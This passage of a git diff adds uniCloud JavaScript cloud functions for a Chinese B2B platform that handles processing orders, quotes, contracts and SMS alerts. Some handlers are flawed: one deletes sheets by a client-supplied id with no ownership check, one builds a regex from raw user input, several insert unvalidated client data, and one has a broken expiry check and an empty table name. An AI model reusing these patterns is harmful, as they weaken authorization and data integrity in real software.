+ user_id: userInfo.uid,
+ type: 'earn',
+ amount: points,
+ balance_after: balance,
+ reason: '积分充值(' + (order.total_fee / 100) + '元)',
+ biz_type: 'recharge',
+ biz_id: order_id,
+ _add_time: new Date()
+ });
+
+ return { code: 0, msg: 'ok', data: { balance, points_added: points } };
+ }
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/category/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/category/pub/getList.js
new file mode 100644
index 0000000..7909ee3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/category/pub/getList.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * 查询商品分类列表
+ * @url client/product/category/pub/getAll 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, whereJson } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-process-category";
+ res.data = await vk.baseDao.selects({
+ dbName,
+ getMain: true,
+ whereJson,
+ pageSize: -1
+ });
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/category/pub/getTree.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/category/pub/getTree.js
new file mode 100644
index 0000000..ff10bd5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/category/pub/getTree.js
@@ -0,0 +1,55 @@
+'use strict';
+module.exports = {
+ /**
+ * 查询商品分类列表
+ * @url client/product/category/pub/getAll 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-process-category";
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex: 1,
+ pageSize: 500,
+ whereJson: {
+ parent_id: _.in([null, ""]),
+ _id: _.exists(true)
+ },
+ sortArr: [{name: "sort", type: "asc"}],
+ // 树状结构参数
+ // treeProps: {
+ // id: "_id", // 唯一标识字段,默认为 _id
+ // parent_id: "parent_id", // 父级标识字段,默认为 parent_id
+ // children: "children", // 自定义返回的下级字段名,默认为 children
+ // level: 2, // 查询返回的树的最大层级。超过设定层级的节点不会返回。默认10级,最大15,最小1
+ // limit: 500, // 每一级最大返回的数据。
+ // whereJson: {}
+ // }
+ });
+ for (const item of res.rows) {
+ const children = await vk.baseDao.selects({
+ dbName,
+ pageIndex: 1,
+ pageSize: 500,
+ whereJson: {
+ parent_id: item._id
+ },
+ sortArr: [
+ // {name: "quoteNum", type: "desc"},
+ {name: "sort", type: "asc"},
+ ]
+ })
+ item.children = children.rows
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/add.js
new file mode 100644
index 0000000..74a90b1
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/add.js
@@ -0,0 +1,108 @@
+'use strict';
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * 新增加工单
+ * @url client/process/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {
+ data = {}, userInfo, util, filterResponse, originalParam
+ } = event;
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun,
+ vk,
+ db,
+ _
+ } = util;
+ let {
+ uid,
+ title,
+ address,
+ files,
+ remark,
+ invoice,
+ writeInvoiceTime,
+ invoiceType,
+ transportDocuments,
+ otherTransportDocuments,
+ transportLimit,
+ tradeMethod,
+ payMethod,
+ advancePayRate,
+ otherPayMethod,
+ reputationPayDay,
+ answerTime,
+ earnestMoney,
+ status
+ } = data;
+ let res = {
+ code: 0,
+ msg: "添加成功"
+ };
+ // 业务逻辑开始-----------------------------------------------------------
+ if (parseInt(userInfo.userLevel) < 3)
+ {
+ if (parseInt(userInfo.remainQuoteNum) === 0 || !userInfo.remainQuoteNum) {
+
+ return {
+ code: 1,
+ msg: "您的询价次数用完"
+ }
+ }
+ if (userInfo.quoteExpiredAt || dayjs(userInfo.quoteExpiredAt).isBefore(dayjs())) {
+ return {
+ code: 1,
+ msg: "您的询价次数已过期"
+ }
+ }
+ }
+ if (userInfo.remainQuoteNum && userInfo.remainQuoteNum > 0) {
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ uid
+ },
+ dataJson: {
+ remainQuoteNum: _.inc(-1)
+ }
+ })
+ }
+
+ res.id = await vk.baseDao.add({
+ dbName: '',
+ dataJson:{
+ title,
+ address,
+ files,
+ remark,
+ invoice,
+ writeInvoiceTime,
+ invoiceType,
+ transportDocuments,
+ otherTransportDocuments,
+ transportLimit,
+ tradeMethod,
+ payMethod,
+ advancePayRate,
+ otherPayMethod,
+ reputationPayDay,
+ answerTime,
+ earnestMoney,
+ status,
+ answerNumber: 0,
+ showInAdmin: 1,
+ userId: uid
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/addQuote.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/addQuote.js
new file mode 100644
index 0000000..d7f1893
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/addQuote.js
@@ -0,0 +1,157 @@
+'use strict';
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+module.exports = {
+ /**
+ * 新增报价
+ * @url client/process/quote/kh/addQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (parseInt(userInfo.factoryStatus) !== 1) return {
+ code: 1,
+ msg: "非加工厂,无法报价,请去个人中心申请加工厂"
+ }
+
+ let noQuoteNo = false
+
+ if (parseInt(userInfo.userLevel) < 3) {
+ if (parseInt(userInfo.remainQuoteNum) === 0 || !userInfo.remainQuoteNum) {
+
+ const checkSheetQuoteNum = await vk.baseDao.findById({
+ dbName: "jjx-process-sheet",
+ id: data.sheetId
+ })
+ if (checkSheetQuoteNum.quoteAmount) {
+ const checkQuoteNum = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-quote-num",
+ whereJson: {
+ uid,
+ type: 'process',
+ sheetId: data.sheetId,
+ }
+ });
+ if (!checkQuoteNum || checkQuoteNum.num === 0) noQuoteNo = true
+ } else noQuoteNo = true
+ }
+ noQuoteNo = !!(userInfo.quoteExpiredAt && dayjs(userInfo.quoteExpiredAt).isBefore(dayjs()));
+ }
+ if (noQuoteNo) {
+ return {
+ code: 1,
+ msg: "您的报价次数已过期/用完"
+ }
+ }
+ if (userInfo.remainQuoteNum && userInfo.remainQuoteNum > 0) {
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ uid
+ },
+ dataJson: {
+ remainQuoteNum: _.inc(-1)
+ }
+ })
+ }
+
+ const checkSheet = await vk.baseDao.findById({
+ dbName: "jjx-process-sheet",
+ id: data.sheetId
+ })
+
+ if (checkSheet.status > 0) return {
+ code: 11,
+ msg: "该加工单已关闭"
+ }
+
+ if (checkSheet.earnestMoney && checkSheet.earnestMoney > 0 && checkSheet.earnestMoney > userInfo.paidEnsure) {
+ return {
+ code: 12,
+ msg: "您的保证金不足,请先缴纳保证金"
+ }
+ }
+
+ const dbName = 'jjx-process-quote'
+ await vk.baseDao.add({
+ dbName,// 表名
+ dataJson: { // 需要新增的数据 json格式
+ ...data,
+ ...{
+ userId: data.uid,
+ status: 0
+ }
+ }
+ });
+
+ await vk.baseDao.update({
+ dbName: "jjx-process-sheet",// 表名
+ whereJson: {
+ _id: data.sheetId,
+ },
+ dataJson: {
+ quoteNum: _.inc(1)
+ }
+ })
+
+ const sheet = await vk.baseDao.findById({
+ dbName: "jjx-process-sheet",// 表名
+ id: data.sheetId
+ });
+
+ const checkMessage = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ whereJson: {
+ process: true,
+ uid: sheet.userId
+ }
+ })
+
+ if (checkMessage) {
+
+ // if (checkMessage.doNotDisturbRange && checkMessage.doNotDisturbRange[0]) {
+ // const date = dayjs().format("YYYY-MM-DD")
+ // const doNotDisturbRangeStart = dayjs(checkMessage.doNotDisturbRange[0]).format("HH:mm")
+ // const doNotDisturbRangeEnd = dayjs(checkMessage.doNotDisturbRange[1]).format("HH:mm")
+ // if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ // return res
+ // }
+ const date = dayjs().format("YYYY-MM-DD")
+ if (checkMessage.doNotDisturbStart && checkMessage.doNotDisturbStart.length) {
+ const doNotDisturbRangeStart = dayjs(`${date} ${checkMessage.doNotDisturbStart[0]}:${checkMessage.doNotDisturbStart[1]}`).format("HH:mm")
+ const doNotDisturbRangeEnd = dayjs(`${date} ${checkMessage.doNotDisturbEnd[0]}:${checkMessage.doNotDisturbEnd[1]}`).format("HH:mm")
+ if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ return res
+ }
+
+ if (checkMessage.tradeAmount && checkMessage.tradeAmount[0]) {
+ if (sheet.totalPrice < checkMessage.tradeAmount[0] || sheet.totalPrice > checkMessage.tradeAmount[1])
+ return res
+ }
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: sheet.userId,
+ title: `加工:${sheet.title}报价`,
+ content: `您的加工信息有新的报价,赶紧去看看吧`,
+ type: 'process',
+ hasRead: false,
+ pk: data.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(sheet.userId, 'SMS_474165512')
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/confirmQuote.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/confirmQuote.js
new file mode 100644
index 0000000..95ac9c6
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/confirmQuote.js
@@ -0,0 +1,170 @@
+'use strict';
+
+const dbName = require('../../../../../dao/config.js')
+module.exports = {
+ /**
+ * 同意合作
+ * @url client/enquiry/quote/kh/confirmQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {
+ data = {}, userInfo, util, filterResponse, originalParam
+ } = event;
+ let {
+ customUtil,
+ uniID,
+ config,
+ pubFun,
+ vk,
+ db,
+ _
+ } = util;
+ let {
+ uid,
+ quoteId
+ } = data;
+ let res = {
+ code: 0,
+ msg: ""
+ };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // 修改报价单状态
+ const quote = await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-enquiry-quote',
+ whereJson: {
+ _id: quoteId,
+ status: 0
+ },
+ dataJson: {
+ status: 1
+ }
+ })
+
+ if (!quote) {
+ return {
+ code: -1,
+ msg: '请刷新页面'
+ }
+ }
+ // 获取乙方信息
+ const quoteUser = await vk.baseDao.select({
+ dbName: dbName.user,
+ getMain: true,
+ getOne: true,
+ whereJson: {
+ _id: quote.userId
+ }
+ })
+
+
+ // 获取询价单信息
+ const sheet = await vk.baseDao.selects({
+ dbName: dbName.enquirySheet,
+ whereJson: {_id: quote.sheetId},
+ getMain: true,
+ getOne: true
+ })
+
+ // 获取商品信息
+ const productTitle = sheet.productList.map(item => {
+ return item.goodsName
+ }).join("/")
+
+ if (sheet.signMethod !== 1) {
+ console.log('quote', quote)
+ console.log('sheet', sheet)
+ const fadadaContractId = vk.pubfn.createOrderNo("E", 20)
+ // 新增合同记录
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ fadadaContractId: fadadaContractId,
+ contractBase: '', // 原始合同
+ contractHistory: [], // 历史合同
+ contractFinal: '', // 归档合同
+ status: 0,
+ userId: uid,
+ type: 'enquiry',
+ quoteId: quoteId,
+ sheetId: quote.sheetId,
+ productList: quote.productList,
+ productTitle,
+ tradeMethod: quote.tradeMethod,
+ partyCount: 2,
+ signCount: 0,
+ contractType: sheet.contractType,
+ signMethod: sheet.signMethod,
+ sellerSupplement: sheet.sellerSupplement,
+ transactionId: vk.pubfn.createOrderNo("C", 20),
+ amount: quote.totalPrice,
+ docTitle: sheet.title,
+ }
+ })
+
+ await vk.baseDao.updateById({
+ dbName: 'jjx-enquiry-sheet',
+ id: quote.sheetId,
+ dataJson: {
+ status: 1
+ }
+ })
+ // await vk.baseDao.updateById({
+ // dbName: 'jjx-enquiry-quote',
+ // id: quoteId,
+ // dataJson: {
+ // status: 1
+ // }
+ // })
+
+ // 上传合同模板
+
+ //新增 用户与合同的关联记录
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: uid,
+ role: 'buyer',
+ sign: false,
+ contractId
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: quote.userId,
+ role: 'seller',
+ sign: false,
+ contractId
+ }
+ ])
+ }else {
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid: uid,
+ sellerUid: quote.userId,
+ orderStatus: 0,
+ type: 4,
+ amount: quote.totalPrice,
+ sheetId: quote.sheetId,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: null,
+ num: 1,
+ goodsName: '询价单',
+ goodsPrice: quote.totalPrice,
+ goodsCover: null,
+ }
+ })
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/getList.js
new file mode 100644
index 0000000..ccfdacf
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/kh/getList.js
@@ -0,0 +1,41 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取加工单
+ * @url client/process/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let dbName = "jjx-process-quote";
+
+ let whereJson = {userId: uid};
+
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex,
+ pageSize,
+ getCount: true,
+ whereJson,
+ sortArr: [{name: "_add_time", type: "desc"}],
+ foreignDB: [
+ {
+ dbName: "jjx-process-sheet",
+ localKey: "sheetId",
+ foreignKey: "_id",
+ as: "sheet",
+ limit: 1,
+ },
+ ]
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/pub/getList.js
new file mode 100644
index 0000000..46912b6
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/quote/pub/getList.js
@@ -0,0 +1,22 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取加工单
+ * @url client/process/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/add.js
new file mode 100644
index 0000000..69ba3e1
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/add.js
@@ -0,0 +1,57 @@
+'use strict';
+const dbName = require('../../../../../dao/config.js')
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+module.exports = {
+ /**
+ * 新增加工单
+ * @url client/process/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param event
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (!userInfo.fadadaConfirm && userInfo.authStatus === 1) {
+ return {
+ code: 1,
+ msg: '请先完成认证'
+ }
+ } else if (!userInfo.businessCard) {
+ return {
+ code: 1,
+ msg: '请完善名片信息'
+ }
+ } else {
+ if (userInfo.businessCard.status !== 1) {
+ return {
+ code: 1,
+ msg: '您的名片信息未审核,请耐心等待'
+ }
+ }
+ }
+ let dbName = "jjx-process-sheet";
+ res.id = await vk.baseDao.add({
+ dbName,
+ dataJson: {
+ ...data,
+ ...{
+ userId: data.uid,
+ quoteNum: 0,
+ status: 0,
+ isShow: 0,
+ showInAdmin: 1,
+ }
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/changeToOnlineSign.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/changeToOnlineSign.js
new file mode 100644
index 0000000..1263093
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/changeToOnlineSign.js
@@ -0,0 +1,156 @@
+'use strict';
+const dbName = require("../../../../../dao/config");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/process/sheet/kh/changeToOnlineSign 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const sheet = await vk.baseDao.updateAndReturn({
+ dbName: "jjx-process-sheet",
+ whereJson: {
+ _id: data.id
+ },
+ dataJson: {
+ signMethod: 0,
+ status: 1
+ }
+ });
+
+ const quote = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-process-quote",
+ whereJson: {
+ sheetId: data.id,
+ status: 1
+ }
+ });
+
+ if (quote) {
+
+
+ const fadadaContractId = vk.pubfn.createOrderNo("E", 20)
+ const contractTransactionId = vk.pubfn.createOrderNo("C", 20)
+
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ fadadaContractId,
+ contractBase: '', // 原始合同
+ contractHistory: [], // 历史合同
+ contractFinal: '', // 归档合同
+ status: 0,
+ userId: uid,
+ type: 'process',
+ quoteId: quote.id,
+ sheetId: quote.sheetId,
+ productList: quote.productList,
+ productTitle: sheet.title,
+ tradeMethod: 0,
+ partyCount: 2,
+ signCount: 0,
+ contractType: sheet.contractType,
+ signMethod: sheet.signMethod,
+ sellerSupplement: sheet.sellerSupplement,
+ transactionId: contractTransactionId,
+ amount: quote.totalPrice,
+ docTitle: sheet.title
+ }
+ })
+
+ // 上传合同模板
+
+ //新增 用户与合同的关联记录
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("P", 20),
+ userId: quote.userId,
+ role: 'seller',
+ sign: false,
+ contractId
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("P", 20),
+ userId: uid,
+ role: 'buyer',
+ sign: false,
+ contractId
+ }
+ ])
+ }
+
+ // const contractFile = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d36befe975f63af1f24e7'
+ // })
+ // const signMaxDate = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d78958b0da41d311bd94c'
+ // })
+ // const buyerSignKeyword = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d37972139294200fc9a01'
+ // })
+ // const sellerSignKeyword = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d37a609664c4f4a5c4afb'
+ // })
+ // const signEndDate = vk.pubfn.getOffsetTime(new Date(), {
+ // day: parseInt(signMaxDate.content),
+ // mode: "after",
+ // });
+ //
+ // const uploaddocs = await pubFun.fadada('uploaddocs.api', {
+ // contract_id: contractTransactionId,
+ // doc_title: sheet.title,
+ // doc_url: contractFile.content,
+ // // file: doc_url,
+ // doc_type: '.pdf'
+ // })
+ // if (parseInt(uploaddocs.code) === 1000) {
+ // await vk.baseDao.updateAndReturn({
+ // dbName: dbName.contract,
+ // whereJson: {
+ // _id: contractId,
+ // userId: uid
+ // },
+ // dataJson: {
+ // status: 1,
+ // docTitle: sheet.title,
+ // signEndDate,
+ // otherFile: '',
+ // contractBase: contractFile.content,
+ // buyerSignKeyword: buyerSignKeyword.content,
+ // sellerSignKeyword: sellerSignKeyword.content
+ // }
+ // })
+ // await vk.baseDao.updateAndReturn({
+ // dbName: 'jjx-process-sheet',
+ // whereJson: {
+ // _id: data.id
+ // },
+ // dataJson: {
+ // status: 2
+ // }
+ // })
+ //
+ // res.data = uploaddocs.result
+ // } else {
+ // return {
+ // code: -1,
+ // msg: uploaddocs.msg
+ // }
+ // }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/delete.js
new file mode 100644
index 0000000..9ec9fb0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/kh/delete.js
@@ -0,0 +1,28 @@
+'use strict';
+const dbName = require('../../../../../dao/config.js')
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let { _id } = data;
+ if(vk.pubfn.isNull(_id)){
+ return { code : -1, msg : 'id不能为空' };
+ }
+ await vk.baseDao.deleteById({
+ dbName: 'jjx-process-sheet',
+ id:_id
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/pub/getInfo.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/pub/getInfo.js
new file mode 100644
index 0000000..199a715
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/pub/getInfo.js
@@ -0,0 +1,62 @@
+'use strict';
+module.exports = {
+ /**
+ * 加工详情
+ * @url client/process/sheet/pub/getInfo 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const dbName = "jjx-process-sheet";
+ const quoteDbName = "jjx-process-quote";
+ const userDbName = "uni-id-users";
+
+ res = await vk.baseDao.findById({
+ dbName, id: data.id
+ })
+
+ res.quoteList = await vk.baseDao.selects({
+ dbName: quoteDbName,
+ whereJson: {
+ sheetId: data.id,
+ },
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true,
+ mobile: true,
+ },
+ person: {
+ personName: true,
+ mobile: true,
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ }
+ ]
+ })
+
+ res.user = await vk.baseDao.findById({
+ dbName: userDbName,
+ id: res.userId
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/pub/getList.js
new file mode 100644
index 0000000..aebd6f5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/process/sheet/pub/getList.js
@@ -0,0 +1,175 @@
+'use strict';
+const dbName = require('../../../../../dao/config.js')
+module.exports = {
+ /**
+ * 获取加工单
+ * @url client/process/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, userId, pageIndex, pageSize, keyword, categoryIds, provinceCodes, area, formData, status, isUser} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const dbName = "jjx-process-sheet";
+ const whereJson = {isShow: 1};
+
+ if (vk.pubfn.isNotNull(keyword)) {
+ whereJson.title = new RegExp(keyword)
+ }
+
+ if (vk.pubfn.isNotNull(isUser)) {
+ if (data.otherUid) whereJson.otherUid = data.otherUid;
+ else whereJson.userId = userId;
+ } else {
+ if (vk.pubfn.isNotNull(data.status)) {
+ whereJson.status = data.status
+ }else whereJson.status = 0
+
+ }
+
+ if (formData && formData.hasOwnProperty('companyList') && vk.pubfn.isNotNull(formData.companyList)) {
+ whereJson.userId = _.in(formData.companyList)
+ }
+
+ if (formData && formData.hasOwnProperty('categoryIds') && vk.pubfn.isNotNull(formData.categoryIds)) {
+ whereJson.productList = _.in(formData.categoryIds)
+ }
+
+ if (vk.pubfn.isNotNull(categoryIds)) {
+ whereJson.productList = _.in(categoryIds)
+ }
+
+ if (vk.pubfn.isNotNull(area)) {
+ if (area.length === 3) whereJson['addressRegion.area.code'] = area[2]
+ if (area.length === 2) whereJson['addressRegion.city.code'] = area[1]
+ if (area.length === 1) whereJson['addressRegion.province.code'] = area[0]
+ } else if (vk.pubfn.isNotNull(provinceCodes)) {
+ whereJson['addressRegion.province.code'] = _.in(provinceCodes)
+ }
+
+ if (vk.pubfn.isNotNull(status) && status !== 'all') {
+ if (status === 'noQuote') whereJson.quoteNum = 0
+ else if (status === 'notPick') whereJson.status = 0
+ else if (status === 'picked') whereJson.status = 1
+ }
+ console.log('where', whereJson)
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex,
+ pageSize,
+ whereJson,
+ getCount: true,
+ sortArr: [{name: "_add_time", type: "desc"}],
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ },
+
+ ]
+ });
+
+ for (const item of res.rows) {
+ item.quoteList = await vk.baseDao.selects({
+ dbName: 'jjx-process-quote',
+ whereJson: {
+ sheetId: item._id,
+ },
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true,
+ mobile: true,
+ },
+ person: {
+ personName: true,
+ mobile: true,
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ }
+ ]
+ })
+ item.contract = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-contract',
+ whereJson: {
+ sheetId: item._id,
+ type: 'process',
+ },
+ })
+ if (vk.pubfn.isNotNull(isUser)) {
+
+ item.otherUser = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ _id: !data.otherUid ? item.otherUid : item.userId,
+ }
+ })
+ }
+ }
+
+ res.notPickNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ status: 0,
+ isShow: 1
+ },
+ });
+
+ res.pickedNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ status: 1,
+ isShow: 1
+ },
+ });
+
+
+ res.noQuoteNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ quoteNum: 0,
+ isShow: 1
+ },
+ });
+
+ res.all = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ userId: uid,
+ isShow: 1
+ },
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
